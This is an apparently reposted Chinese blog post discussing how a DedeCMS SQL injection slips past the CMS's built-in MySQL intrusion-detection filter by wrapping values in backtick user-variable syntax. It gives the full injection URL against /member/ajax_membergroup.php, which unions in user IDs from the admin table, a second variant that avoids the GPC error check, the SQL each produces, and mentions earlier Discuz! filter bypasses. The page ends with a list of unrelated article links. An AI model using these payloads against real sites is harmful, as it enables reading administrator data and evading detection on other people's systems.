博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
讨论下IDS的绕过
阅读量:4331 次
发布时间:2019-06-06

本文共 1382 字,大约阅读时间需要 4 分钟。

自从知道dedecms自带了80sec的内置Mysqlids后,一直以来也没有想到绕过的办法。或者是自己mysql的根底太差了吧。于是分析dedecms源码时,只找模板执行,本地包含,上传等,完全没有想到注入存在的可能性了。

可以看看某牛的很久以前的分析
http://www.oldjun.com/blog/index.php/archives/66/(其中:80sec的内置Mysqlids可能的绕过方法)
之前也看过,感觉也是同意的。
但今天看到dede再暴漏洞,居然存在注入?
文章在这里:http://www.sa666.com/thread-25247-1-1.html
注入关键地方:/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select userid from `%23@__admin` where 1 or id=@`'`
最终执行语句是:
SELECT groupname FROM dede_member_group WHERE mid = 0 AND id=@`\'` Union select userid from `dede_admin` where 1 or id=@`\'` LIMIT 0,1;
关键是:@`'`  这个
一直以为 反引号 只用于字段表等特殊地方,但没想到还可以用于值的,于是就顺理绕过了IDS的检测,在IDS中变成:select groupname from dede_member_group where mid = 0 and id=@`\$s$` limit 0,1。
如果执行:select * from table where id=`8` 会出错。
但执行:select * from table where id=@`8` 即正常,但没查出数据。
即这个值“@`8`”不是简单的值 8 那是什么值呢?
mysql> select @`8`;
+------+
| @`8` |
+------+
| NULL |
+------+
1 row in set (0.00 sec)
据我所知,这个@是由用户声明的局部变量。估计就是把整个值当为整个变量吧?
不知想法对不对。有对mysql了解的可以来解释一下。
至于有人说为什么会有些出现:Safe Alert: Request Error step 2!
这是由于dedecms的另一个问题了,这里就不多说,和GPC有关,可以下面语句绕过:
/member/ajax_membergroup.php?action=post&membergroup=@`\'` Union select userid from `%23@__admin` where 1 or id=@`\'`
IDS的防和绕过一直在斗争着。
在Discuz! 中,IDS也起到了很大作用,从前面的 /*!*/ 绕过和 union all等绕过,到现在的修复。
大家还有什么IDS的绕过技巧或案例可以分享的么?^-^

摘自:http://zone.wooyun.org/content/108

转载于:https://www.cnblogs.com/milantgh/p/3952486.html

你可能感兴趣的文章
nodejs利用string-random生成指定的随机字符串
查看>>
UVA1025---A Spy in the Metro(DP)
查看>>
Java入门:基础算法之产生随机数
查看>>
poj3259 Wormholes【最短路-bellman-负环】
查看>>
CH5302 金字塔【区间DP】
查看>>
poj3585 Accumulation Degree【树形DP】【最大流】
查看>>
PAT甲1115 Counting Nodes in a BST【dfs】
查看>>
贝叶斯统计(Bayesian statistics) vs 频率统计(Frequentist statistics):marginal likelihood(边缘似然)...
查看>>
error LNK2001: 无法解析的外部符号 解决方法
查看>>
CRM INBOX 查询结果增强字段
查看>>
python面试题-20190319
查看>>
css 优先级
查看>>
Beta1
查看>>
【MFC】基于windows media player的音乐播放器
查看>>
重启Linux机器异常的解决方法
查看>>
NUnit使用方法
查看>>
Direct3d 设备丢失 (device lost) (转载)
查看>>
MovieLens数据挖掘练习
查看>>
【转】属性与字段的区别
查看>>
《HelloGitHub》第 34 期
查看>>